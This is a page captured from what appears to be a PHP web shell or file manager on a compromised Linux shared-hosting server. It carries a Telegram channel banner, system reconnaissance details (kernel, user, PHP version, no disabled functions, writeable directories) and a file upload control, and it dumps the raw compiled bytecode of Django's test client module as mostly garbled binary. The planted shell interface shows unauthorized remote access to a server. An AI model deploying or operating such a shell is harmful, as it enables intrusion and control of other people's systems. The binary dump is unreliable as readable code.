https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/test/client.pyc
�
r�\c@sQddlmZddlZddlZddlZddlZddlmZddlmZddl	m
Z
ddlmZm
Z
mZmZddlmZddlmZdd	lmZmZmZdd
lmZddlmZmZmZddlmZdd
l m!Z!ddl"m#Z#ddl$m%Z%m&Z&ddl'm(Z(ddl)m*Z*ddl+m,Z,ddl-m.Z.ddl/m0Z0m1Z1m2Z2ddl3m4Z4d)Z5dZ6de6Z7ej8d�Z9de:fd��YZ;d�Z<d efd!��YZ=d"�Z>d#�Z?d$�Z@d%e:fd&��YZAd'eAfd(��YZBdS(*i����(tunicode_literalsN(tcopy(tBytesIO(tsettings(tauthenticatetlogintlogouttget_user_model(tBaseHandler(tWSGIRequest(trequest_startedtrequest_finishedtgot_request_exception(tclose_old_connections(tSimpleCookietHttpRequestt	QueryDict(tTemplateDoesNotExist(tsignals(tcurry(tforce_bytest	force_str(t	urlencode(t
import_module(tis_iterable(tsix(tunquoteturlparseturlsplit(tContextListuClientuRequestFactoryuencode_fileuencode_multipartuBoUnDaRyStRiNgu multipart/form-data; boundary=%su.*; charset=([\w\d-]+);?tFakePayloadcBs8eZdZdd�Zd�Zdd�Zd�ZRS(u
    A wrapper around BytesIO that restricts what can be read since data from
    the network can't be seeked and cannot be read outside of its content
    length. This makes sure that views can't do anything under the test client
    that wouldn't work in Real Life.
    cCs>t�|_d|_t|_|dk	r:|j|�ndS(Ni(Rt_FakePayload__contentt_FakePayload__lentFalsetread_startedtNonetwrite(tselftcontent((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt__init__+s
		cCs|jS(N(R (R%((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt__len__2scCs�|js%|jjd�t|_n|dkrC|jp=d}n|j|ks^td��|jj|�}|j|8_|S(NiuFCannot read more than the available bytes from the HTTP incoming data.(R"RtseektTrueR#R tAssertionErrortread(R%t	num_bytesR&((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR,5s	cCsM|jrtd��nt|�}|jj|�|jt|�7_dS(Nu.Unable to write a payload after he's been read(R"t
ValueErrorRRR$R tlen(R%R&((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR$@s
	N(t__name__t
__module__t__doc__R#R'R(R,R$(((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR$s
	ccsCzx|D]}|Vq
WWdtjt�|�tjt�XdS(N(Rt
disconnectR
tconnect(titerabletclosetitem((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytclosing_iterator_wrapperHs


t
ClientHandlercBs#eZdZed�Zd�ZRS(u�
    A HTTP Handler that can be used for testing purposes.
    Uses the WSGI interface to compose requests, but returns
    the raw HttpResponse object
    cOs&||_tt|�j||�dS(N(tenforce_csrf_checkstsuperR9R'(R%R:targstkwargs((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR'Xs	cCs�ddlm}|jdkr,|j�ntjt�tjd|j	�tj
t�t|�}|j|_
|j|�}|jr�t|j|j�|_n$tjt�|j�tj
t�|S(Ni����(Rtsender(tdjango.confRt_request_middlewareR#tload_middlewareR
R3R
tsendt	__class__R4R	R:t_dont_enforce_csrf_checkstget_responset	streamingR8tstreaming_contentR6R(R%tenvironRtrequesttresponse((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt__call__\s 



	


(R0R1R2R*R'RK(((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR9RscKs?|jdg�j|�|jdt��jt|��dS(u�
    Stores templates and contexts that are rendered.

    The context is copied so that it is an accurate representation at the time
    of rendering.
    u	templatesucontextN(t
setdefaulttappendRR(tstoretsignalR>ttemplatetcontextR=((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytstore_rendered_templateszsc		CsVg}d�}d�}x|j�D]\}}||�rY|jt|||��q%t|tj�r�t|�r�x�|D]h}||�r�|jt|||��q|jgd|d|d|gD]}||�^q��qWq%|jgd|d|d|gD]}||�^q�q%W|j|d|�dg�dj|�S(	u,
    Encodes multipart POST data from a dictionary of form values.

    The key will be used as the form data name; the value will be transmitted
    as content. If the value is a file, the contents of the file will be sent
    as an application/octet-stream; otherwise, str(value) will be sent.
    cSst|tj�S(N(RRtDEFAULT_CHARSET(ts((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt<lambda>�scSst|d�ot|j�S(Nuread(thasattrtcallableR,(tthing((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyRU�su--%su)Content-Disposition: form-data; name="%s"uu--%s--ts
(titemstextendtencode_filet
isinstanceRtstring_typesRtjoin(	tboundarytdatatlinestto_bytestis_filetkeytvalueR7tval((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytencode_multipart�s0		
	'	$

cCs�d�}tj|j�d}|dkr4d}n|d|�|d|tjj|j�f�|d|�d|j�gS(NcSst|tj�S(N(RRRS(RT((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyRU�siuapplication/octet-streamu--%su8Content-Disposition: form-data; name="%s"; filename="%s"uContent-Type: %sRY(t	mimetypest
guess_typetnameR#tostpathtbasenameR,(R`RetfileRctcontent_type((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR\�s		

tRequestFactorycBs�eZdZd�Zd�Zd�Zd�Zd�Zid�Zie	d�Z
id�Zd	d
d�Zd	d
d�Z
d	d
d
�Zd	d
d�Zd	d
d�ZRS(uV
    Class that lets you create mock Request objects for use in testing.

    Usage:

    rf = RequestFactory()
    get_request = rf.get('/hello/')
    post_request = rf.post('/submit/', {'foo': 'bar'})

    Once you have a request object you can pass it to any view function,
    just as if that view had been hooked up using a URLconf.
    cKs%||_t�|_t�|_dS(N(tdefaultsRtcookiesRterrors(R%Rr((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR'�s	cKs�i|jjdddd�d6td�d6td�d	6td
�d6td�d6td
�d6td�d6td�d6dd6td�d6td�d6|jd6td6td6td6}|j|j�|j|�|S(u5
        The base environment for a request.
        theaderutsepu; uHTTP_COOKIEu/u	PATH_INFOu	127.0.0.1uREMOTE_ADDRuGETuREQUEST_METHODuSCRIPT_NAMEu
testserveruSERVER_NAMEu80uSERVER_PORTuHTTP/1.1uSERVER_PROTOCOLiiuwsgi.versionuhttpuwsgi.url_schemeRYu
wsgi.inputuwsgi.errorsuwsgi.multiprocessuwsgi.multithreadu
wsgi.run_once(ii(	RstoutputtstrRRtR*R!tupdateRr(R%RIRH((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt
_base_environ�s&











cKst|j|��S(u#Construct a generic request object.(R	Rz(R%RI((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyRI�scCs]|tkrtt|�Stj|�}|r@|jd�}n	tj}t|d|�SdS(Nitencoding(	tMULTIPART_CONTENTRhtBOUNDARYtCONTENT_TYPE_REtmatchtgroupRRSR(R%RaRpRtcharset((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt_encode_data�s
	cCsot|d�}|dr;|td�t|d�7}nt|�}tjrk|jd�jd�}n|S(Niiu;uutf-8u
iso-8859-1(RRxRRtPY3tencodetdecode(R%tparsedRm((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt	_get_path�s
!	cKs�t|�}t|dt�p+t|d�}tjrR|jd�jd�}ni|j|�d6|d6t	d�d6}|j
|�|j|�S(	uConstruct a GET request.tdoseqiuutf-8u
iso-8859-1u	PATH_INFOuQUERY_STRINGuGETuREQUEST_METHOD(RRR*RRR�R�R�R�RxRyRI(R%RmRatextraR�tquery_stringtr((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytget
s"	
c	Ks�|j||�}t|�}t|d�}tjrR|jd�jd�}nit|�d6|d6|j|�d6|d6t	d�d	6t
|�d
6}|j|�|j|�S(uConstruct a POST request.iuutf-8u
iso-8859-1uCONTENT_LENGTHuCONTENT_TYPEu	PATH_INFOuQUERY_STRINGuPOSTuREQUEST_METHODu
wsgi.input(
R�RRRR�R�R�R/R�RxRRyRI(	R%RmRaRpR�t	post_dataR�R�R�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytposts	


cKs�t|�}t|dt�p+t|d�}tjrR|jd�jd�}ni|j|�d6|d6t	d�d6}|j
|�|j|�S(	uConstruct a HEAD request.R�iuutf-8u
iso-8859-1u	PATH_INFOuQUERY_STRINGuHEADuREQUEST_METHOD(RRR*RRR�R�R�R�RxRyRI(R%RmRaR�R�R�R�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pythead0s"	
uuapplication/octet-streamcKs|jd||||�S(uConstruct an OPTIONS request.uOPTIONS(tgeneric(R%RmRaRpR�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytoptions@scKs|jd||||�S(uConstruct a PUT request.uPUT(R�(R%RmRaRpR�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytputEscKs|jd||||�S(uConstruct a PATCH request.uPATCH(R�(R%RmRaRpR�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytpatchJscKs|jd||||�S(uConstruct a DELETE request.uDELETE(R�(R%RmRaRpR�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytdeleteOsc	Ks�t|�}t|tj�}i|j|�d6t|�d6}|r~|jit|�d6t|�d6t|�d6�n|j|�|j	d�s�t|d�}t
jr�|jd�}n||d<n|j
|�S(	Nu	PATH_INFOuREQUEST_METHODuCONTENT_LENGTHuCONTENT_TYPEu
wsgi.inputuQUERY_STRINGiu
iso-8859-1(RRRRSR�RxRyR/RR�RR�R�RI(	R%tmethodRmRaRpR�R�R�R�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR�Ts"	


	
(R0R1R2R'RzRIR�R�R�R|R�R�R�R�R�R�R�(((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyRq�s					tClientcBs�eZdZed�Zd�Zd�Zee�Zd�Z	ied�Z
ieed�Zied�Z
dd	ed
�Zdd	ed�Zdd	ed�Zdd	ed
�Zd�Zd�Zd�ZRS(u�
    A class that can act as a client for testing purposes.

    It allows the user to compose GET and POST requests, and
    obtain the response that the server gave to those requests.
    The server Response objects are annotated with the details
    of the contexts and templates that were rendered during the
    process of serving the request.

    Client objects are stateful - they will retain cookie (and
    thus session) details for the lifetime of the Client instance.

    This is not intended as a replacement for Twill/Selenium or
    the like - it is here to allow testing against the
    contexts and templates produced by a view, rather than the
    HTML rendered to the end-user.
    cKs2tt|�j|�t|�|_d|_dS(N(R;R�R'R9thandlerR#texc_info(R%R:Rr((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR'scKstj�|_dS(uF
        Stores exceptions when they are generated by a view.
        N(tsysR�(R%R=((s4/tmp/pip-install-XxeQeY/django/django/test/client.pytstore_exc_info�scCsSdtjkrOttj�}|jjtjd�}|rO|j|j	�SniS(u8
        Obtains the current session variables.
        udjango.contrib.sessionsN(
RtINSTALLED_APPSRtSESSION_ENGINERsR�tSESSION_COOKIE_NAMER#tSessionStoreRf(R%tenginetcookie((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt_session�scKsu|j|�}i}tt|�}tjj|dd�tj|jdd�z�y|j|�}Wn(t	k
r�}|j
d
kr��q�nX|jr�|j}d	|_t
j|�n||_||_|jdg�|_|jd�|_|jr&t|j�dkr&|jd|_n|jrE|jj|j�n|SWd	tjjdd�tjdd�Xd	S(u
        The master request method. Composes the environment dictionary
        and passes to the handler, returning the result of the handler.
        Assumes defaults for the query environment, which can be overridden
        using the arguments to the request.
        tdispatch_uidutemplate-renderurequest-exceptionu500.htmlu	templatesucontextiiN(u500.html(RzRRRRttemplate_renderedR4RR�R�RR<R�R#RtreraisetclientRIR�t	templatesRQR/RsRyR3(R%RIRHRaton_template_renderRJteR�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyRI�s4
						cKs@tt|�j|d||�}|r<|j||�}n|S(u@
        Requests a response from the server using GET.
        Ra(R;R�R�t_handle_redirects(R%RmRatfollowR�RJ((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR��s!cKsFtt|�j|d|d||�}|rB|j||�}n|S(uA
        Requests a response from the server using POST.
        RaRp(R;R�R�R�(R%RmRaRpR�R�RJ((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR��s'cKs@tt|�j|d||�}|r<|j||�}n|S(u@
        Request a response from the server using HEAD.
        Ra(R;R�R�R�(R%RmRaR�R�RJ((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR��s!uuapplication/octet-streamcKsFtt|�j|d|d||�}|rB|j||�}n|S(uC
        Request a response from the server using OPTIONS.
        RaRp(R;R�R�R�(R%RmRaRpR�R�RJ((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR��s
cKsFtt|�j|d|d||�}|rB|j||�}n|S(u:
        Send a resource to the server using PUT.
        RaRp(R;R�R�R�(R%RmRaRpR�R�RJ((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR��s
cKsFtt|�j|d|d||�}|rB|j||�}n|S(u<
        Send a resource to the server using PATCH.
        RaRp(R;R�R�R�(R%RmRaRpR�R�RJ((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR�s
cKsFtt|�j|d|d||�}|rB|j||�}n|S(u6
        Send a DELETE request to the server.
        RaRp(R;R�R�R�(R%RmRaRpR�R�RJ((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR�s
cKs�t|�}|r�|jr�dtjkr�ttj�}t�}|jrZ|j|_n|j�|_t	||�|jj
�tj}|jj|j
|<idd6dd6tjd6tjp�dd6dd6}|j
|j|�tStSdS(	u
        Sets the Factory to appear as if it has successfully logged into a site.

        Returns True if login is possible; False if the provided credentials
        are incorrect, or the user is inactive, or if the sessions framework is
        not available.
        udjango.contrib.sessionsumax-ageu/upathudomainusecureuexpiresN(Rt	is_activeRR�RR�RtsessionR�RtsaveR�tsession_keyRsR#tSESSION_COOKIE_DOMAINtSESSION_COOKIE_SECURERyR*R!(R%tcredentialstuserR�RItsession_cookietcookie_data((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyRs*		

	

cCs�t�}ttj�}t�}|jrl|j|_|jjd�}|r{|jjd|�|_q{n|j	�|_t
|�t�|_dS(u�
        Removes the authenticated user's cookies and session object.

        Causes the authenticated user to be logged out.
        u
_auth_user_idtpkN(
RRRR�RR�R�t_default_managerR�R�RRRs(R%RIR�t	UserModeltuid((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyREs			
cKs�g|_x�|jdkr�|j}|j}|j||jf�t|�}|jrh|j|d<n|jr�|j|d<n|jr�t|j�|d<n|j	|j
t|j�dt
|�}||_|jd	|jd
d	!krPqqW|S(uHFollows any redirects by requesting responses from the server using GET.i-i.i/i3uwsgi.url_schemeuSERVER_NAMEuSERVER_PORTR�i����i(i-i.i/i3(tredirect_chaintstatus_codeturlRMRtschemethostnametportRxR�RmRtqueryR!(R%RJR�R�R�((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR�Xs"						'	(R0R1R2R!R'R�R�tpropertyR�RIR�R|R�R�R�R�R�R�RRR�(((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyR�ms*		
	>			



	(	(uClientuRequestFactoryuencode_fileuencode_multipart(Ct
__future__RR�RltreRiRtioRR?Rtdjango.contrib.authRRRRtdjango.core.handlers.baseRtdjango.core.handlers.wsgiR	tdjango.core.signalsR
RRt	django.dbR
tdjango.httpRRRtdjango.templateRtdjango.testRtdjango.utils.functionalRtdjango.utils.encodingRRtdjango.utils.httpRtdjango.utils.importlibRtdjango.utils.itercompatRtdjango.utilsRt#django.utils.six.moves.urllib.parseRRRtdjango.test.utilsRt__all__R}R|tcompileR~tobjectRR8R9RRRhR\RqR�(((s4/tmp/pip-install-XxeQeY/django/django/test/client.pyt<module>sF"
$	
(	
	-	�

https://t.me/AnonymousX5 - 2025